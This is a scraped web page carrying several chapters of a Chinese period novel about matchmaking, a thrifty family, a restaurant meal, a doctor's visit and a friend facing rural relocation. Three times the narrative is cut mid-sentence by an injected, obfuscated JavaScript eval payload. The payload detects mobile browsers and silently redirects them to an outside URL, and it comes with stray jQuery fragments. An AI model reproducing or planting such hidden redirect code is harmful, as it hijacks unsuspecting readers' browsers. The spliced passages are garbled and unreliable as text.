孙大妈表情凝固,这得多抠搜一男的啊,娶媳妇都怕费钱。 “你哥不是正经工人吗?你爸妈不帮衬点?” “我哥才工作没几年,没存下多少钱,我爸妈说男孩子就要自己拼,供他上中专已经不错了,工作了就要靠他自己了,所以帮衬是不可能的。” 她说话时理直气壮,完全不觉得有什么不对。 事实上中专有补贴,花不了几个钱,但是她爸妈是这么说的,她也就这么学。 孙大妈脑袋一懵,这都哪跟哪,谁家父母不为了男娃付出一切,咋还有这样的父母? “你爸妈在哪上班?我亲自找他们说说。” “我妈是妇联的,我爸是钢厂的工人,您想找哪个?” 孙大妈寻思家里都是男人当家,而且男的都嘴拙,不会转圈地拒绝人,便说:“我找你爸好好聊聊,这孩子还是得好好待,以后还指着他养老呢。” 熊幼美本来想劝的,但是看她胸有成竹的样子,她便不说了。把熊爱国同志的名字和车间告诉她,让大妈去闯吧。 孙大妈是个急性子,不然也不能一晚上就把嫂子娘家弟媳的表妹给找出来。 当天下午她便请了半天假去钢厂找熊爱国,熊爱国听说有女的找他,以为是媳妇或者闺女,没想到是个不认识的妇女。 “大姐,您找我有事?”熊爱国黑黢黢的脸上布满汗珠,他习以为常地抹了把脸。 孙大妈往后退一步,熊爱国一米八多的身高往那一杵,看着就跟深山里的大黑熊似的。面色粗糙铁黑,皱着眉峰,瞅着就不好惹。 孙大妈试探地问:“我来找你是想给你儿子介绍对象的,听说你儿子结婚你们夫妻不出钱啊?” 熊爱国使劲眨眨眼,汗珠进到眼眶里蜇眼睛。 这个大姐应该就是闺女的同事,他直说:“是,男孩应该自力更生。” “那你们攒这么多钱做什么?生不带来死不带去,不给子女花,他们以后肯定恨你们啊。” “随他们吧,我不亏心就行,我的钱还得留着和我媳妇养老呢。谁有不如自己有,再说我儿子工资不低,他不愿意娶可能还是觉得钱比媳妇重要吧。” “那你就不想抱孙子?给你们家传宗接代?” “随便吧,我当够老子了,不想再养儿子的儿子,养孩子太费钱了。” “大姐,我也劝您一句,您是个女人,更该攒钱,毕竟传宗接代传的也不是您这个宗,孙子也不可能跟您姓,所以啊,您还不如多攒点养老钱呢,以后就算儿子孙子不亲,也有个老底儿不至于伸着手给孩子要钱。” 孙大妈被他的思想惊住,这大老爷们太清新脱俗了,把抠搜说得这么理直气壮,而且她仔细一想确实很有道理。 抱孙子能有看热闹得劲儿?孙子跟谁姓都不会跟她姓,那她上赶着干啥呢? 被忽悠一通,回去路上她琢磨着两个儿子的婚事,大儿子已经结婚了,小儿子还在相看,想想大儿子结婚时的花销,以及儿媳妇怀孕后的花费,孙大妈出了一身冷汗。 合着她家出了两个吞钱兽啊,只出不进,每月交一点生活费,平日都是他们老两口在贴补。 她原本觉得天经地义,现在才发现,原来也有人家是不贴补的。 这事儿回家还得再跟老伴儿琢磨琢磨,小儿子结婚,大儿子小儿子生孩子养孩子……桩桩件件都要他们掏钱啊。 至于什么娘家表妹早都忘得没边了,人最在意的是自己的事儿,其他都得往后稍。 当天晚上孙大妈拉着老伴儿说起白天的事儿,老头儿白天出力气累得很,半眯着眼睛随口说:“人家不结就不结呗,跟咱关系也不大。” 孙大妈:“我的意思是以后得让儿子儿媳多交点生活费,咱们手里的存款自从大儿子结婚开始就越来越少,咱得想想办法了。” 老头儿没意见,谁还不想把钱握自己手里,“行,明天跟他们说,睡觉吧,不早了。” 孙大妈还有事要说呢,“小儿子娶媳妇大儿子和小儿子都得掏钱。” “啥?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491179|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头儿腾地坐起来,“咋突然说这个了?老大不可能同意。” “他不同意,就让他把当初他结婚的钱还给咱一半,然后把这一半给小儿子结婚用,剩下的让小儿子自己掏。” “他肯定得找你吵架,谁家儿子娶媳妇不都得父母出钱出力吗,儿子没意见,大儿媳都得不乐意。” “他们要是不乐意就赶出去住,吃咱的喝咱的,等他们养老还早着呢,正好看看他们孝不孝顺,要真这么抠,咱老了还能指望他们?” “咱有钱有工资,以后老了他们说不定还得巴结咱呢。” 孙大妈已经决定了,反正手里没钱她心里慌。 老头儿平时不管事儿,家里的老婆子整天风风火火,不仅管家里的,还管外边的各种闲事,他习惯听指挥。 虽然不太赞同,但是心底又觉得可以试试,看看儿子的态度。 人老后愈来愈没安全感,担心孩子没孝心。 第二天吃早饭的时候,孙大妈趁大家还没上班走,赶紧把这事儿宣布了。 大儿子筷子一顿,不可置信地抬头盯着他妈的脸,“妈,您是不是疯了?都结婚多久了现在还要啥结婚钱啊。” “你结婚的时候重新装修你们的婚房,彩礼钱还有买各种礼品,新衣服钱,办席的钱……这些加起来都得有二百多了,你尽快还给我和你爸一百,零钱就不跟你算了。” 大儿子看向老头儿,“爸这是你和我妈商量好的?” 大儿媳摸着肚子,脸色铁青。 老头儿拍板:“对,这钱你给我们我们也不能要。” 话音刚落,大儿子夫妻脸色一松,却听他继续说:“这钱是存着给你弟娶媳妇的,到时候他也是要出一百的。” 二儿子嘻嘻哈哈:“爸妈,这钱你们留着买点好吃的补补身体,我娶媳妇的钱自己挣,不够了你们添点就行,我可不能事事都让你们贴补,那也太没人性了。” 大儿子攥紧筷子,额角青筋跳,咬着后槽牙说:“弟弟,你这是什么话?合着就你是个好人?这一百块钱不是小数,你嫂子还怀着孩子呢,哪哪儿都得用钱,等你结婚你就知道难了。” 二儿子混不吝地说:“养不起你们就别怀啊,敢情嫂子这肚子是给我和爸妈鼓的?赶紧给爸妈钱,不然我可保不齐到外面扯些什么乱糟的。” 二儿子就是个和稀泥的,反正能让老大吃亏他就能占便宜,秉着这个思想,他势必要帮爸妈说话,而且他早就看不惯大哥大嫂在家里一副老大的模样了。 孙大妈夫妻冷眼旁观,偶尔夹根咸菜配窝窝头吃。 老头儿是有些难过的,他最想看到家和万事兴,今天才发现两个儿子已经有水火不容的架势了。 孙大妈看自家的戏跟看别人家的似的,津津有味,果然啊,热闹只要跟自己没关系,咋看都乐呵。 孙大妈:“你们吵归吵,钱必须还,晚上之前我就要看见我那一百块钱,老大媳妇,怀个孕别把自己整得跟少奶奶似的,吃完饭你刷碗,你要是不想干就让你男人干。” 老大媳妇忍气吞声,喏喏点头,她胆子不大,平时也不会来事儿,不得婆婆喜欢,最大的反抗也就是甩个脸色,敢怒不敢言。 孙大妈见儿媳这样更不中意这人,但是她甩甩头满不在乎,反正儿子相中就行。 她不指望和儿媳成为朋友……不行,她还得去问问那姑娘找对象有啥要求,她觉得她们很合得来。 现在她又回归本心,找到最初的目的了。 8. 国营饭店下馆子咯 中午吃饭的时候孙大妈又特地挨着熊幼美坐,熊幼美见她一副压抑着兴奋的表情,比了个暂停手势。 “等会说,大妈咱赶紧吃,吃完咱俩出去唠,食堂太热了。” 熊幼美迅速扒饭,打算用饭后的八卦来消食。 孙大妈不遑多让,两人夸夸一顿吃,人家还没吃两口她们已经出食堂了。 站到个阴凉地儿,熊幼美迫不及待地问:“咋了?咋了?有啥新鲜事?” “没啥新鲜事,就是昨天跟你爹聊完以后我是大受影响啊,以后我家要向你家看齐。” 看齐啥?抠门? 熊幼美不理解但尊重,“您高兴就好,就这事儿啊?我还以为有啥更招乐的事儿呢。” 孙大妈说:“嗐,这天天上班哪有那么多热闹看啊,咱这城里不比农村。” “农村热闹多?”熊幼美是土生土长的城里人,除了学农学军再也没去过农村。 “那当然了,热闹多着呢,谁家偷了谁家的鸡蛋啦,薅了一把谁家的菜被抓住不承认啦,谁家熊孩子掉茅坑啦,多着呢。” 熊幼美捂着嘴摆摆手:“别说了,咱刚吃完饭诶。” “行,不说这个了,小美,咱说你的婚事,咱俩也都这么熟了,你也该给我透透风了吧,就算我儿子不行,我也可以帮你介绍其他男同志啊。” 熊幼美见大妈坚持,没办法,她只好试着想想。 “我要求不高,我的另一半要一米八五以上,毕竟我家男的都挺高的,不能比我家人还差劲吧,那样我没面子啊。” “行,有道理,你继续。” “长相一定要好,我喜欢白面书生的类型,学习一定要好,不能金玉其外败絮其中啊,大妈您说是不是这个道理!” “……有道理。” 孙大妈心死了,前两条直接把她那傻儿子给略过去了,不配啊。 熊幼美还在掰着手指继续数,越说越来劲,照上次她哥的要求只多不少。 “父母一定要是双职工,因为我爸妈都是双职工,男方一定要是正式职工,因为我也是正式工啊,谁也不占谁便宜。” “结婚彩礼三转一响和三十六条腿一定要有,这都是我的面子问题,不能含糊。” “而且一定要有存款,这不仅是经济实力,也是看他管钱能力,男人一定要会过日子,虽然婚后要让我管钱,但是也不能从零开始管吧,必须要有一定的经济基础。” “人品一定要好,正直但不迂腐,风趣但不轻浮,温柔但不滥情,体贴但不啰嗦,善良但不懦弱,成熟但不守旧,自信但不自大,等等吧,反正一定要有自己的人格魅力。” “最重要的一点是,他一定要孝顺,主要是孝顺我妈和我爸,他们把我养大不容易,让我吃的好穿的好,如果他真的喜欢我就应该好好对我妈妈和爸爸,就像对亲生母亲和父亲一样,我妈他们太不容易了。” “一定要爱劳动,爱干家务,因为劳动最光荣嘛,眼里要有活,眼力见必须得有。” 熊幼美意犹未尽,点点下巴,“嗯……差不多就这些吧,等以后再想到别的我再补充。” 孙大妈咽口水,还就这些,就算条件好也不能信口开河啊。 “要是找不到这样的人咋办?要求是不是要降低一些?” “咋能降低底线呢?大不了不结婚呗,我妈说我还小,不着急,要不是您来问,我都没想过这个问题呢。”熊幼美吹了吹额前的小卷毛,无所谓地说。 “……” 孙大妈无语:“合着这么多要求还是您现想的啊?你咋不上天呢?” “嘿,大妈您是哪头儿的啊?您得向着我说话啊,就按这个找,一点不能降,不然我妈都要心疼我的。” 孙大妈感到眼前一黑,这是要中暑啊,不能继续聊了,捂着额头摆摆手就走。 熊幼美挥手:“下次有好玩的事儿再来找我啊,大妈。” “知道啦。” 大妈的声音有气无力,可能真中暑了,祝她好运。 熊幼美慢悠悠地走回废品站午休,路上琢磨着休息日要吃什么。 白米饭要吃,红烧肉可以有,红烧鱼也好香…… 午睡梦里满满的肉香。 星期天上午。 熊幼美转着圈走出房间,客厅里李虹霞和熊桦正在听收音机,熊爱国坐边上边听边摘菜。 “爸,我中午不在家吃饭了,和小虎去国营饭店吃。” “好端端下馆子做什么?你想吃啥我也能做啊。”熊爱国不舍,主要是不舍得钱和票。 “我想吃肉,爸,我已经吃腻您做的菜团子了。” 熊爱国很乐意掌管家里的厨房,恨不得顿顿下厨,因为能尽量省下买菜钱。 “菜团子多好吃啊,有油有菜有蛋,我年轻的时候可没有这样的菜团子吃。” 李虹霞帮女儿说话,“哎呀,她想出去吃就吃呗,你想吃菜团子咱就在家吃,甭管她,她现在能挣钱犒劳一下自己挺好的嘛。” 熊桦:“钱够吗?粮票够不够?” 熊幼美从挎包里掏出钱和粮票数数,数完不好意思地抬头,“不太够,爸,哥,你们谁再支援我一下啊?等我发工资就还你们。” 熊桦一边回屋拿钱一边数落她,“要用钱了就想到我和爸了,你咋不跟咱妈要啊?” “嘿嘿,哥你真好。”熊幼美只傻笑,不回答。 熊爱国抠搜地给出一毛钱,“省着点花。” “中午热几个菜团子,我去河边钓鱼,不在家吃饭了。” 每个休息日或者放假他都会去河边钓鱼,技术一般,比较看运气,偶尔钓的多了还能偷偷出给别人几条,熊爱国因此乐此不疲。 李虹霞伸了个懒腰,这大热天她可不出去瞎转,待在家里看看书睡个午觉不比什么都强? “小美,记得戴上草帽遮阳,别中暑了。” “知道啦妈,您好好休息吧。” 熊幼美把草编帽压在蓬松的发顶,出门就看见背对着她的唐虎薇。 “小虎,你看什么呢?”熊幼美凑过去趴在栏杆上往下看。 “杨林在相亲。” “啊?哪呢哪呢?”熊幼美探头探脑。 唐虎薇指给她看,“那里那里,杨林今天收拾得还挺干净。” 阳光下杨林的头发丝折射出莫名的光,好似让牛舔了似的。 熊幼美觉得辣眼睛,“这也就是面上光,别管他们,天大地大都没吃饭大。” 唐虎薇反应过来,催促:“走走走,去晚了好菜就没有了。” 今天大家都休息,来国营饭店吃饭的人有很多,熊幼美和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491180|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐虎薇一进去,打眼一扫,几乎全都是在相亲的。 她们直奔窗口小黑板,上面写着今天的菜单。 “要一份红烧肉,糖醋里脊行不?小虎,你想吃啥?” 两道肉菜很豪横了,唐虎薇上下看看,想选一个素菜,最后说:“要一个焦溜肉丸吧。” 熊幼美点点头,念了一句红色语录,然后报出一串菜名,再要六两米饭两个人吃,顺便把钱票递过去。 服务员没什么表情,麻木地接过来,“为人民服务,等会儿自己来端。” 她们都习惯了服务员的态度,墙上没有贴着“不许殴打顾客”的条幅已经算不错了。 熊幼美在窗口处等着,边等边看菜单想象其他菜的味道,盘算着自己一个月的工资能下几回馆子。 唐虎薇则先去占座。 刚出锅的菜冒着香喷喷的锅气,端过来摆到桌子上,香味直往鼻孔和脑门里钻。 熊幼美拿起筷子跃跃欲试:“快吃,快吃。” 大块的红烧肉油油亮亮,肥瘦相间,软腻香弹。糖醋里脊外脆里软,酸甜肉嫩。 一小口米饭搭上一大块红烧肉,一口塞进嘴里,软粘咸香,过瘾! “太好吃了!” “每天上班就是为了这一刻啊。” 虽然工作不累,但是,红烧肉好好吃,如果能天天吃就好了。 “你吃这个肉丸,太香了。” 两人头也不抬地吃掉一半才放慢速度,唐虎薇满足地叹口气,感慨:“人就是要吃肉啊。” 熊幼美顺势提议:“我们以后每周都出来改善伙食好不好?” “不行,我要攒钱。” 刚才还被肉汁迷眼的唐虎薇一秒拒绝。 “攒钱干啥?” “买自行车呗,做民警有辆自行车巡逻比较方便。” “那得省多少顿红烧肉啊,实在不行我借给你嘛,你每个月还我一点就行了。” 唐虎薇瞟她一眼,淡定地问:“你有钱?你的钱不都拿去买小人书、邮票和下馆子了吗?” 熊幼美被问住,她才想起来,原来她并没有存款的习惯。 “噢,那没事了。”她低头扒米饭。 “呵~”一声轻笑。 熊幼美警惕地抬起头看向对面的唐虎薇,“小虎你学坏了,你居然学会讽笑了。” 唐虎薇嘴里塞了一颗肉丸,咕咕哝哝,咽下去后无辜地说:“我没有笑你啊,咱俩一起长大,我还不知道你是多不靠谱的人啊,这有啥好笑的。” 熊幼美环顾四周,人声嘈杂,听不出是哪里的笑声。 她眨眨眼,可能是错觉。 唐虎薇:“佳佳去看她妈,也该回来了吧。” “她信上说后天就回来了,她们家两个孩子,不知道怎么办呢。” 熊幼美眉宇间聚起一抹愁意,梁友佳是她们的好朋友,前几天请假去看亲妈,她家是离异后的重组家庭,她跟着亲爸生活,亲妈改嫁到了沪市。 重组家庭免不了磕碰,继母嫁过来时也带了一个女儿,和梁友佳年龄相仿。他们对她虽然不算好,但是也没有故意刻薄她, “我这几天替她打听了,但是一点消息都没有。” 唐虎薇也愁啊,买工作都需要靠运气,梁友佳如果找不到工作就要下乡了。 9. 文武搭配,吵架不累 两个人同时叹了口气。 愁得饭都吃不下了,但是还可以吃得下肉。 唐虎薇每天运动量巨大,饭量也大,一口肉一口米饭,吃得喷香。 熊幼美素来爱吃,尤其是,跟吃饭香的人一起吃更是停不下来。 她们吃饭的时候,隔壁桌相亲的男女同时注意到了她们,两个女同志吃三盘肉两碗大米饭,让人想不注意都难。 女同志瞥了眼桌上的一肉一菜,有些不太满意,一个男人还没有女同志花钱大方。 男同志紧张地说:“要不我们再点个菜?” 女同志矜持地点点头。 男人去窗口点菜,走着抬手擦擦汗,差点就要黄了。 他心里不禁有些埋怨那俩人,显摆啥啊,跟谁吃不起似的,也不看看她们能不能吃得完。 端着一盘青菜炒肉丝回去,意有所指地说:“这些咱们两个人应该就够了,浪费粮食会遭报应的。” 熊幼美和唐虎薇埋头吃肉,店里人越来越多,在热气的熏腾下各种汗味也冒出来了,她们根本不想多待,吃完就走。 所以那个男同志就这样用余光亲眼见证了三个满当当的盘子没一会儿就见底了。 他心下震惊,再看向面前跟自己相亲的女同志,小口吃饭,相比起来吃得也不多。 这样一想,心中庆幸又鄙夷,哪个好人家能养得起这样的女同志,就算再好看也不行啊。 熊幼美耳聪目明,只不过忙着吃肉没空搭理他,她们吃完出去的时候路过这对男女。 熊幼美轻啧一声,“现在的男同志越来越邋遢了,真让人倒胃口。” 这话倒不假,现在大家的卫生意识普遍较差,男同志又比女同志的卫生意识更差一层。 在这个坐着都能热出油的天气,这位男同志的尊容可想而知。 熊幼美总是笑呵呵,却不可能让人随便踩她们一脚。 你说些似是而非的话,她也能说啊,她最不缺的就是牙尖嘴利。 男同志敏感地察觉到这是在含沙射影地说他,他抬头狠瞪她们一眼,唐虎薇捏紧拳头,短袖被手臂拱起的肌肉撑起,威慑力十足。 男人很快当做无事发生地低下头。 唐虎薇放下拳头,和熊幼美继续往外走。 走出去后熊幼美捂着肚子笑,“太好玩了,你看见那男的表情了吗,看见你的拳头立马就低头了,真识时务。” 唐虎薇和她臭味相投,此时也笑个不停,从小到大都是这样,熊幼美拿嘴气人,她则在旁边给她撑腰压场。 小时候还会真真打上几架,现在长大后锻炼出肌肉,很少有人愿意自投罗网了。 “这人嘴太贱了,咱们吃啥关他啥事,自己小气抠门还怪上我们了。” 熊幼美一个劲儿地点头,“就是看我们女孩好欺负。” 唐虎薇顺便劝她:“你以后也跟我一起锻炼得了,省得再遇到这种情况,我不在你身边咋整?” 这话她说了不下一百遍,可是熊幼美闲不住,却不乐意做这些机械运动。 这次也是,唐虎薇话音刚落下,她突然哎呦哎呦地叫唤,“不行了,我肚子疼,刚才笑得太厉害。” 唐虎薇扶住她,怀疑地问:“要不去医院看看?” 她以为她是装的,谁知道熊幼美立刻同意:“快去,哎呦,感觉肚子里有一整颗鸡蛋梗着,难受。” 唐虎薇忍不住抿唇,这就叫乐极生悲? “我看你就是刚才吃太多,平时不锻炼,搞得消化不好。” 熊幼美:“……”强词夺理,想反驳但是她说不出话。 唐虎薇搀着她到附近的医院,慢慢走着,疼痛缓解一些,但是保险起见,她们仍是打算看看医生。 现在正中午,医院里的医生都去吃饭了,只有几个医生留在医院值班。 唐虎薇替她挂号,下意识以为是西医,等她们走进医生诊室后才发现是中医,整面墙的药柜吸人眼球。 熊幼美和唐虎薇面面相觑,来都来了,这点小毛病应该谁都能看。 她们抱着相同的想法走进来。 医生是个男同志,穿着白大褂,被口罩遮住半张脸,露出清俊的眉眼,坐姿挺拔,旁边放着吃一半的饭盒,即使是饭点有人来看病眉宇间也毫无不耐。 见到有病人,他迅速盖上饭盒,并问:“你们谁有问题?坐下来我先给把把脉。” 熊幼美坐下,伸出右手。 男医生拿出两块手帕,声音清凌凌:“两只手都伸过来。” “哦。”她从小就怕看医生,因为打针很疼,怕的同时还不敢动弹,针头要是不小心断进去就惨了,所以面对医生,她又怕又听话。 男医生隔着帕子同时把脉两只手,熊幼美好奇地观察他的表情,他要是轻轻皱一下眉,熊幼美都害怕得心脏猛跳一下。 这要是检查出意料之外的顽疾咋整? 等他终于把完脉,熊幼美和唐虎薇齐齐松了口气,僵硬的肩膀松弛许多。 “医生,我这个没什么大问题吧?” “没事,就是吃太多消化不良,开两副药喝一喝就行了。” 唐虎薇握住熊幼美的肩膀,“没事儿了,以后少吃点吧。” “说起这个,我突然想起一个事,刚才走的太急忘了给我妈打包一份糖醋里脊。” 李虹霞最爱吃糖醋肉,好不容易有,她却给忘了。 唐虎薇看看时间,“我帮你去买吧,也不晓得现在还有没有了。” “那我把钱票给你,打包的饭盒你可以找后厨的小敏姐借,她毕业后在后厨帮厨。” 小敏姐是她们学校去年毕业的姐姐,也是她们的邻居,性格温柔体贴,很照顾她们这些弟弟妹妹。 “太麻烦小敏姐了,我还是回家跑一趟吧,不费事,正好当锻炼了。” “这个天气你确定?小敏姐肯定不想你跟她见外,你就去吧,买完直接回家就行,我一会儿自己回去。” 唐虎薇不怕外面的烈阳,但是能借机会见见小敏姐也挺好的,便应下来。 “得,你可真会安排人,你安心看病吧,我去了。” 熊幼美打蛇上棍:“嘿嘿,小虎你真好,再帮我打包份焦溜肉丸,我哥爱吃,我也爱吃,回去当晚饭。” 唐虎薇敲敲她的脑袋壳,无语道:“……我看你是还没长记性。” 熊幼美摸摸肚子,一来医院肚子莫名好多了,这里太让人有安全感了。 “哎呀,你去嘛小虎,晚上来我家住,我们一起吃。” “行嘞,反正肚子疼了就吃中药,让你好好长长记性。”唐虎薇拿她没办法,这就是个吃货啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491181|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唐虎薇走后,熊幼美挠挠头发,敲敲手背,圆溜溜的眼睛上下左右地看。 男医生正在抓药,感受到不安分的视线,回头问:“你在看什么?” 熊幼美连连摇手:“我就随便看看,不看了不看了。” 不能随便乱看,她只好盯着医生的背影看,见他打开一个又一个的抽屉盒,抓一点点药材放在黄纸上。 她托着脸好奇地问:“药苦吗?和咖啡的滋味儿一样吗?听说咖啡也很苦,但是很多人都喜欢喝,我们班林思思就喝过咖啡,她说有品味的人都喜欢喝咖啡,喝中药和喝咖啡差不多吧?” “那还是差很多的。” “诶?医生你居然喝过?”她惊讶完,又压低声音:“人家不是说这些都是小资吗?现在都不让喝了。” “之前上大学的时候喝过,喝得惯的人觉得很好喝,但是我喝不惯,还没有中药好喝。”医生说话时眸子弯成月亮,笑意满盈。 “咦?”熊幼美的关注点是:“您平时会给自己抓药吃吗?” “会啊,医生也会生病,喝中药可以调理身体各个部位,所以偶尔就会给自己煎一副。” 男医生几乎有问必答,耐心的很。 熊幼美最喜欢和这样的人相处,像是浸润在有点烫的温水里,顷刻间便放松了。 “医生您叫什么名字?我叫熊幼美,你可以叫我小熊或者小美,我想和你做朋友。” “我叫谢长骄。”谢医生手指触摸到脸上严实的口罩。 “名字很好听,那个,谢医生,我的药可以少拿一点吗?苦得吃不下。”熊幼美比了个小小的手势。 谢长骄温和含笑:“我尽量。” 最后,熊幼美苦着脸提着一长摞中药包走出医院。 回到家,刚把药包放下,抬眼迎上众人目光,李虹霞略显紧张:“小美怎么拿了这么多药?小虎说是消化不良啊。” “谢医生说我脾胃不好,需要多喝药温养。” 李虹霞站起来拉着闺女看,小脸圆圆乎乎,白白净净,咋还能不好呢? 熊桦:“是不是冰棍吃多了啊,冷热交加,肯定吃坏身体了。” 熊爱国从他们房间找出砂锅,“这药一天吃几次?” “早晚各一次。” 李虹霞紧张地问:“喝了就没事了吧?” “应该没事吧,谢医生说吃完这些再去复查。” “行,到时候我陪你一起去。” “好,对了妈,小虎回来没?我让她帮我捎糖醋里脊和肉丸,你们不是喜欢这俩菜吗?刚好有,这样晚上可以吃。” 熊桦没好气地推推桌上的饭盒:“你都消化不良了还惦记着吃,你可真行。” “那你有本事晚上别吃,亏我还想着你给你带了溜肉丸,香的恨不得把舌头吞下去呢。” “你这什么老套的形容?啥肉不都能把人香迷糊?” 熊幼美只问:“那你到底吃不吃?” “吃,不吃白不吃。” 熊桦硬气说完就去揉面准备蒸馒头,打算多放些白面,这样新出炉的馒头才配得上这么硬的菜! 李虹霞拉着熊幼美坐下聊些东家长西家短,熊幼美爱听,熊爱国在一旁竖着耳朵听得入神,在厨房忙活的熊桦把面发上后也过来凑热闹。 这一家人,没法说! 10. 佳佳怎么才能留城啊 新的一天从喝中药开始,喝完中药又喝一大碗糖水漱口,以至于这一上午熊幼美没少往厕所跑。 在她又一次从厕所出来时就看见一个女同志站在堂屋正中间。 “佳佳!”十几年的好朋友只凭一个背影就能认出来。 一个秀气盈盈的女孩转过身,笑眯眯地喊:“小熊!” “你怎么提前回来了啊,王大妈,这是我好朋友,梁友佳,小名佳佳,这是我的同事王大妈,平时很照顾我。” 王大妈点头当做打招呼,低头继续看旧书。 “我妈那边没事儿了,我就回来了,住别人家不自在。”梁友佳语气平常地解释,可是熊幼美捏紧她的手,那是她妈家,怎么算是别人家呢? “那里有人欺负你?告诉我,等放假了我和小虎一起去帮你讨回公道。” 梁友佳靠在熊幼美的肩上,半合着眼睛懒懒地说:“没事,就是心里不得劲儿,我的爸妈都不只是我一个人的爸妈,有点难过,所以就赶紧回来找你和小虎了。” “不管你爸妈咋样,我和小虎都是你最好的朋友,也是你的家人,有事就跟我们讲。” 熊幼美能明显感受到她心底的惆怅和虚无,她尽力给她属于朋友的安全感。 梁友佳躺在废品站的炕上睡了个午觉。刚下火车她一刻没歇就过来这边了,路过派出所时去寻小虎,她却不巧去外边巡逻了。 熊幼美一边帮她打扇一边轻翻小人书。 空气中的阳光如蜜般流淌,顺着小风淌进梁友佳的眼睛里,淌进她的心洞里,填满了那个小窟窿。 她扭过身,眼角有泪珠划过。 中午睡过一觉,醒来就有小熊给她带的饭盒。 “快吃吧,你早上肯定没吃东西。” 梁友佳不客气,迅速消灭了饭盒。 在院子里用井水把饭盒洗干净,甩甩里面的水,“我去供销社买冰棍,等我给你们带啊。” “好呀好呀。”熊幼美答应的欢快,完全忘了自己的胃病。 “麻烦你了啊,佳佳。”王大妈给她三分钱,她节省,但是也耐不住日复一日的高温。 “没事大娘,我都在这打扰你们一天了。” 梁友佳过了一会才回来,怀里抱着一个圆滚滚绿油油的小西瓜。 “快来搭把手。” 熊幼美赶紧跑过去接,“在哪儿买的西瓜啊?” 梁友佳甩甩酸痛的两只手臂,脸颊被晒得红彤彤,高兴地说:“碰见有大爷在卖自己种的西瓜,应该是偷着种的,瓜都不大,大的我也拿不动。” 王大妈走过来敲敲瓜皮,发出咚咚的声音。 “运气真好,这瓜听着不错,我先放井水里镇上,过会再吃。” 她们没意见,温乎的西瓜甜得腻人,不如等会再吃。 等待让这个小西瓜变得冰凉倍儿甜。 她们躲在堂屋的里间悄悄吃完了这个小西瓜,汁水充盈,每个人都吃个水饱。 吃完把瓜皮收拾好,王大妈继续做自己的事,熊幼美和梁友佳搬着小马扎坐在院子里吹风,黄昏金灿灿地,落在她们的脸上,年轻的灵魂不需要做什么就足够闪耀。 “你的工作咋办?” 梁友佳伸直腿,“我也不知道,我爸的工作不可能让我接班,我后妈的工作应该是让梁友乐接班。” 梁友乐是她的继妹,年龄相差不过半年。 熊幼美沉默半晌,最后说出一个办法,“要不结婚?结婚也能留城。” 梁友佳在今天春天过了十八岁生日,可以结婚了。 “我跟谁结婚呀?别瞎说。” 熊幼美望向她的侧脸,梁友佳眉清目秀,性格温和内敛,上学时就会被同学欺负,不敢想象她下乡后会面临的处境。 “我和唐虎薇一起帮你物色,小虎在派出所,我们下班后一起去找她,看看她认不认识什么好人。” 梁友佳轻易就被她逗乐,纠正:“应该是好男人。” “唉,要是女人能和女人结婚,我就娶你了,两全其美。” 梁友佳第一反应不是离经叛道,而是问:“哪两全了?” 熊幼美靠在她身上数落自己最近发生的事。 “好多阿姨婶婶见到我就要给我介绍对象,以前上学的时候还没有这么狂热呢。” “可能是看你有工作了?” 熊幼美感叹:“这个现实的世界呦!” 下班后她们直奔派出所,隔着几米远熊幼美便迫不及待喊:“小虎!” 唐虎薇扭头看过去,是小熊和佳佳。 唐虎薇高高挥手,扬声道:“佳佳,小熊!” 派出所的其他同事被声音吸引,跟着看过去。 金所长笑着调侃:“你们还在一块玩呢,这是多久没见面了?” 他认识唐虎薇的同时就眼熟了熊幼美和梁友佳,因为这三个人总是形影不离。 现在看来,她们参加工作后也没什么变化。 “天天见!”唐虎薇笑时露出洁白整齐的牙齿,让其他同事跌破眼镜。 认真严谨的新人唐虎薇直到这时才露出一点属于年轻人的端倪。 熊幼美很久没进来了,这次一来才发现以前见过的几个公安叔叔都退休了,取而代之的是一张张年轻面孔。 熊幼美拉着唐虎薇到一边,小声问:“他们都是接班的?” “对啊,都不舍得孩子下乡。” 熊幼美叹气,说起下乡就愁得慌,把自己的主意跟唐虎薇说了,唐虎薇沉吟一会才同意。 她用了几十秒权衡到底是下乡苦还是结婚苦。 对梁友佳来说,下乡肯定更危险,天高路远,没有亲人朋友在身边,遇到危险她们赶去都来不及。 她只提出一点建议:“一定要选个本地男同志。” “你有好的人选吗?” 唐虎薇回头看自己的同事们,熊幼美跟着回头看。 几个还算高大的年轻人围在梁友佳身边说话,他们每天打交道的都是硬邦邦的粗汉子,少见漂亮姑娘,所以显得格外热情。 梁友佳夹在其中尴尬地笑。 “好像有点勉强……” “我也觉得不太合适……” 